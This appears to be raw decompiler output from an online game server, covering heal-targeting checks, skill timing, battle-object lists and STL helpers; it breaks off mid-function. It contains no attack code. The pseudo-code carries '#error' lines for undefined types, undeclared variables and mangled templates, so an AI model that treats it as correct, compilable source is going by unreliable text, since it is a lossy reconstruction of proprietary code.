&_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ICanHealTo"); return v3; } //----- (00424750) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_ICanHealTo(void *this, int a2) { void *v2; // edi@1 signed int v3; // ebp@1 int v4; // edx@1 int v5; // eax@1 char result; // al@7 int v7; // eax@8 unsigned int v8; // ST04_4@10 unsigned int v9; // eax@10 int v10; // eax@11 int v11; // ebx@13 int v12; // eax@15 __int16 v13; // di@19 unsigned int v14; // eax@24 CGuildZone::GUILD_ZONE_LIST *v15; // eax@24 CGuildZone::GUILD_ZONE_LIST *v16; // ebx@24 int v17; // ebp@26 int v18; // esi@30 FunctionEntarance *v19; // ecx@33 int v20; // esi@36 int v21; // eax@36 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v23; // [sp+1Ch] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_ICanHealTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ICanHealTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ICanHealTo"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)a2; v23 = 0; v5 = (*(int (__thiscall **)(int))(v4 + 1720))(a2); if ( v5 && *(_DWORD *)(*(_DWORD *)v5 + 99) == 16 ) goto LABEL_7; if ( !ShineObjectClass::ShineMobileObject::smo_ICanHealTo(v2, a2) || (*(int (__thiscall **)(int, signed int))(*(_DWORD *)a2 + 988))(a2, 336) ) goto LABEL_38; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1212))(a2) != 2 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1212))(a2) == 5 ) { v20 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2160))(a2); v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2160))(v2); v19 = &_; v23 = -1; if ( v20 == v21 ) goto LABEL_34; FunctionEntarance::_FunctionEntarance(&_); return 0; } LABEL_38: --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ICanHealTo"); return 0; } if ( *((_WORD *)v2 + 2) == *(_WORD *)(a2 + 4) ) { LABEL_7: --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ICanHealTo"); return 1; } v7 = *(_DWORD *)((char *)v2 + 98); if ( *(_BYTE *)(v7 + 84) ) goto LABEL_32; if ( !*(_BYTE *)(*(_DWORD *)(v7 + 12) + 99) ) goto LABEL_33; v8 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1996))(a2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1996))(v2); if ( CGuildZone::IsGuildEnemy(&gGuild, v9, v8) ) { LABEL_32: v23 = v3; FunctionEntarance::_FunctionEntarance(&_); return 0; } v10 = *(_DWORD *)(*(_DWORD *)((char *)v2 + 98) + 16); if ( !v10 || *(_BYTE *)(v10 + 54) != 4 ) { if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1996))(a2) ) { v14 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1996))(a2); v15 = CGuildZone::Find(&gGuild, v14); v16 = v15; if ( v15 ) { if ( v15->GuildZone.nWarStatus == 2 ) { v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1996))(a2); if ( v17 != (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1996))(v2) ) { skilltargeterr = 4048; v23 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v3 = -1; } if ( v16->gzl_AttackMeGuild ) { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1996))(a2); if ( v18 != (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1996))(v2) ) { skilltargeterr = 4048; goto LABEL_32; } } } } LABEL_33: v23 = v3; v19 = &_; LABEL_34: FunctionEntarance::_FunctionEntarance(v19); return 1; } v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); if ( !v11 ) v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2); v12 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1980))(a2); if ( !v12 ) v12 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2048))(a2); if ( v11 && v11 == v12 ) goto LABEL_33; v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1336))(v2); if ( v13 == -1 || v13 != (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1336))(a2) ) { v23 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { v23 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } return result; } //----- (00424A70) -------------------------------------------------------- #error "424A70: undefined or illegal type '#748' (funcsize=41)" //----- (00424B20) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::smo_ICanHealTo(void *this, int a2) { void *v2; // esi@1 bool result; // al@2 int v4; // edi@3 bool v5; // bl@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_ICanHealTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_ICanHealTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShineMobileObject::smo_ICanHealTo(v2, a2) ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2160))(a2); v5 = v4 == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2160))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_ICanHealTo"); result = v5; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_ICanHealTo"); result = 0; } return result; } //----- (00424C10) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck(SkillEffectApply::SkillBlastEffectContainer *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck"); } //----- (00424C50) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineMobileObject::smo_SkillBlastTick(int sklidx) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastTick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBlastTick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastTick"); return 0; } //----- (00424CA0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShinePlayer::smo_SkillBlastTick(int sklidx) { signed int v1; // edx@2 int v2; // esi@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_SkillBlastTick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_SkillBlastTick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( sklidx ) { v1 = (signed int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)sklidx + 75) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v2 = v1 + ((unsigned int)v1 >> 31); } else { v2 = 100000; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_SkillBlastTick"); return v2; } //----- (00424D30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::smo_SkillBlastTick(void *this, int sklidx) { void *v2; // edi@1 signed int v3; // edx@2 int v4; // esi@2 int v5; // ecx@4 int v6; // eax@5 int v7; // eax@7 signed int v8; // edx@8 char *v10; // [sp-4h] [bp-20h]@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_SkillBlastTick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_SkillBlastTick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( sklidx ) { v3 = (signed int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)sklidx + 75) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v4 = v3 + ((unsigned int)v3 >> 31); } else { v4 = 99999; } v5 = *((_DWORD *)v2 + 1894); if ( v5 && (v6 = *((_DWORD *)v2 + 1900), v6 >= 0) && v6 < *(_DWORD *)(v5 + 12) ) { v7 = *(_DWORD *)(*(_DWORD *)(v5 + 8) + 12 * v6); v10 = "ShineObjectClass::ShineMob::smo_SkillBlastTick"; if ( v7 ) { v8 = (signed int)((unsigned __int64)(10 * *(_WORD *)(v7 + 79) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; v4 = v8 + ((unsigned int)v8 >> 31); } } else { v10 = "ShineObjectClass::ShineMob::smo_SkillBlastTick"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); return v4; } //----- (00424E30) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, BattleObjectGroup::BattleObject *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0xD8u); return 1; } // 424E45: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00424E60) -------------------------------------------------------- SkillEffectApply::SkillBlastEffect *__cdecl std::copy_backward(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Dest) { SkillEffectApply::SkillBlastEffect *v3; // edx@1 SkillEffectApply::SkillBlastEffect *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x2Cu); } return result; } //----- (00424E90) -------------------------------------------------------- std::vector >::iterator *__cdecl std::find>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, SkillEffectApply::SkillBlastEffect *_Val) { std::vector >::iterator v4; // esi@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; } else { do { if ( SkillEffectApply::SkillBlastEffect::operator__(*(SkillEffectApply::SkillBlastEffect **)&v4, _Val) ) break; *(_DWORD *)&v4 += 44; } while ( v4 != _Last ); v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (00424ED0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, SkillEffectApply::SkillBlastEffect *_Val) { std::vector >::iterator v5; // ebx@1 std::vector >::iterator v6; // ebp@2 void *v7; // edi@4 std::vector >::iterator *v8; // eax@6 v5 = _First; if ( _First == _Last ) { v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { if ( !SkillEffectApply::SkillBlastEffect::operator__(*(SkillEffectApply::SkillBlastEffect **)&v5, _Val) ) { v7 = (void *)v6; *(_DWORD *)&v6 += 44; memcpy(v7, *(const void **)&v5, 0x2Cu); } *(_DWORD *)&v5 += 44; } while ( v5 != _Last ); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v8; } //----- (00424F30) -------------------------------------------------------- SkillEffectApply::SkillBlastEffect *__cdecl std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { SkillEffectApply::SkillBlastEffect *v5; // edx@1 SkillEffectApply::SkillBlastEffect *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x2Cu); ++v5; } return result; } //----- (00424F60) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v5; // ecx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->handle = *(_DWORD *)&v5->handle; result->hpchange = v5->hpchange; result->resthp = v5->resthp; result->hpchangeorder = v5->hpchangeorder; } ++v5; } return result; } //----- (00424FB0) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectList::bol_Store(BattleObjectGroup::BattleObjectList *this, BattleObjectGroup::BattleObjectStruct *battleobject, unsigned int hittime) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BattleObjectGroup::BattleObjectList::bol_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BattleObjectGroup::BattleObjectList::bol_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BattleObjectGroup::BattleObjectList::bol_Store"); } //----- (00425030) -------------------------------------------------------- #error "425030: undefined or illegal type '#331' (funcsize=334)" //----- (00425470) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChineCastCut(void *this) { void *v1; // edi@1 char v2; // al@1 unsigned __int16 v3; // bp@2 unsigned __int16 v4; // dx@3 int v5; // eax@4 int v6; // esi@4 unsigned __int16 v7; // bx@4 bool v8; // cf@4 int v9; // ecx@6 int v10; // ecx@8 int v11; // eax@9 int v12; // eax@10 int v13; // eax@14 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChineCastCut"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChineCastCut"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_BYTE *)v1 + 7416); if ( v2 & 0x40 ) { *((_BYTE *)v1 + 7416) = v2 & 0xBF; v3 = *(_WORD *)(*((_DWORD *)v1 + 923) + 12 * *((_WORD *)v1 + 1849) + 4); while ( 1 ) { v4 = *((_WORD *)v1 + 1844); if ( v3 >= v4 ) break; v5 = *((_DWORD *)v1 + 923); v6 = v3; v7 = v3; v8 = v3 < v4; v3 = *(_WORD *)(v5 + 12 * v3 + 4); if ( v8 && *(_BYTE *)(v5 + 12 * v6 + 8) ) v9 = *(_DWORD *)(v5 + 12 * v6); else v9 = 0; v10 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v9 + 4)); if ( v7 < v4 && (v11 = v5 + 12 * v6, *(_BYTE *)(v11 + 8)) ) v12 = *(_DWORD *)v11; else v12 = 0; if ( (unsigned __int8)(*(int (__stdcall **)(int))(*(_DWORD *)v10 + 32))(v12) ) { if ( v7 < *((_WORD *)v1 + 1844) && (v13 = *((_DWORD *)v1 + 923) + 12 * v6, *(_BYTE *)(v13 + 8)) ) *(_DWORD *)(*(_DWORD *)v13 + 24) = clockwatch.cw_CurrTick; else v18 = clockwatch.cw_CurrTick; } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChineCastCut"); } //----- (004255E0) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_opt(std::vector >::iterator _First, std::vector >::iterator _Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::iterator v4; // ecx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *result; // eax@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // edi@2 unsigned __int16 v7; // si@2 v4 = _First; for ( result = _Dest; v4 != _Last; v6->hpchangeorder = v7 ) { v6 = result; *(_DWORD *)&result->handle = **(_DWORD **)&v4; result->hpchange = *(_DWORD *)(*(_DWORD *)&v4 + 4); result->resthp = *(_DWORD *)(*(_DWORD *)&v4 + 8); v7 = *(_WORD *)(*(_DWORD *)&v4 + 12); *(_DWORD *)&v4 += 14; ++result; } return result; } //----- (00425620) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(SkillEffectApply::SkillBlastEffect *_First, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x2Cu); v6 = (char *)v6 + 44; --v5; } while ( v5 ); } } //----- (00425650) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->handle = *(_DWORD *)&_Val->handle; v6->hpchange = _Val->hpchange; v6->resthp = _Val->resthp; v6->hpchangeorder = _Val->hpchangeorder; } ++v6; --v5; } while ( v5 ); } } //----- (00425690) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004256E0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00425800) -------------------------------------------------------- #error "425800: undefined or illegal type '#748' (funcsize=165)" //----- (00425A20) -------------------------------------------------------- SkillEffectApply::SkillBlastEffect *__thiscall std::vector>::_Ufill(std::vector > *this, SkillEffectApply::SkillBlastEffect *_Ptr, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00425A50) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__thiscall std::vector>::_Ufill(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Ptr, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00425A80) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectList::BattleObjectList(BattleObjectGroup::BattleObjectList *this) { BattleObjectGroup::BattleObjectList *v1; // esi@1 signed int v2; // edx@1 int v3; // eax@1 int v4; // edi@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 BattleObjectGroup::BattleObject *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 BattleObjectGroup::BattleObject *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 BattleObjectGroup::BattleObject *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 BattleObjectGroup::BattleObject *v16; // ebp@12 int v17; // ecx@12 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x400u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->bol_Array, 0xD8u, 1024, (void (__thiscall *)(void *))BattleObjectGroup::BattleObject::BattleObject, (void (__thiscall *)(void *))BattleObjectGroup::BattleObject::_BattleObject); v2 = 2; v3 = 0; v4 = (int)&v1->bol_Array[1]; v5 = 256; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3].ls_Content; v8 = (int)&v6[v3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 216; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 + 1].ls_Content; v11 = (int)&v9[v3 + 1]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 + 2].ls_Content; v14 = (int)&v12[v3 + 2]; if ( !v13 ) *(_DWORD *)v14 = v4 + 216; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3 + 3].ls_Content; v17 = (int)&v15[v3 + 3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 432; } v3 += 4; v2 += 4; v4 += 864; --v5; } while ( v5 ); } // 59C104: using guessed type int (__stdcall *List_BattleObjectGroup__BattleObject____vftable_[3])(__int16 hnd); //----- (00425BA0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where) { SkillEffectApply::SkillBlastEffect *v3; // ebx@1 int v4; // eax@1 std::vector >::iterator v5; // edx@2 const void *v6; // esi@3 void *v7; // edi@3 std::vector >::iterator *v8; // eax@4 v3 = this->_Mylast; v4 = *(_DWORD *)&_Where + 44; if ( (SkillEffectApply::SkillBlastEffect *)(*(_DWORD *)&_Where + 44) != v3 ) { v5 = _Where; do { v6 = (const void *)v4; v7 = (void *)v5; v4 += 44; *(_DWORD *)&v5 += 44; memcpy(v7, v6, 0x2Cu); } while ( (SkillEffectApply::SkillBlastEffect *)v4 != v3 ); } --this->_Mylast; v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v8; } //----- (00425BF0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 SkillEffectApply::SkillBlastEffect *v5; // ebx@2 std::vector >::iterator v6; // edx@2 const void *v7; // esi@3 void *v8; // edi@3 std::vector >::iterator *v9; // eax@5 v4 = _Last; if ( _First != _Last ) { v5 = this->_Mylast; v6 = _First; if ( (SkillEffectApply::SkillBlastEffect *)_Last != v5 ) { do { v7 = (const void *)v4; v8 = (void *)v6; *(_DWORD *)&v4 += 44; *(_DWORD *)&v6 += 44; memcpy(v8, v7, 0x2Cu); } while ( (SkillEffectApply::SkillBlastEffect *)v4 != v5 ); } this->_Mylast = (SkillEffectApply::SkillBlastEffect *)v6; } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; return v9; } //----- (00425C40) -------------------------------------------------------- void __thiscall std::vector>::_vector>(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst ) operator delete(this->_Myfirst); v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00425C70) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillEffectEraser::_SkillEffectEraser(SkillEffectApply::SkillEffectEraser *this) { std::vector >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::vector >::iterator)this; std::vector>::erase( this->see_List, &result, this->see_Skill); } //----- (00425C90) -------------------------------------------------------- #error "425C90: undefined or illegal type '#748' (funcsize=62)" //----- (00425D80) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00425DF0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // edx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // ebx@1 unsigned int v7; // ecx@1 unsigned int v8; // ecx@2 signed int v9; // edx@3 unsigned int v10; // edi@4 int v11; // eax@6 int v12; // eax@11 int v13; // ecx@15 int v14; // eax@18 int v15; // ebx@22 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v16; // ST18_4@22 int v17; // eax@22 int v18; // edi@24 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v19; // ecx@27 std::vector >::iterator v20; // ebx@27 signed int v21; // edx@27 unsigned int v22; // ST28_4@28 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v23; // ST24_4@28 unsigned int v24; // edx@28 int v25; // [sp+0h] [bp-2Ch]@1 int _Tmp; // [sp+Ch] [bp-20h]@1 unsigned int v27; // [sp+10h] [bp-1Ch]@1 unsigned int 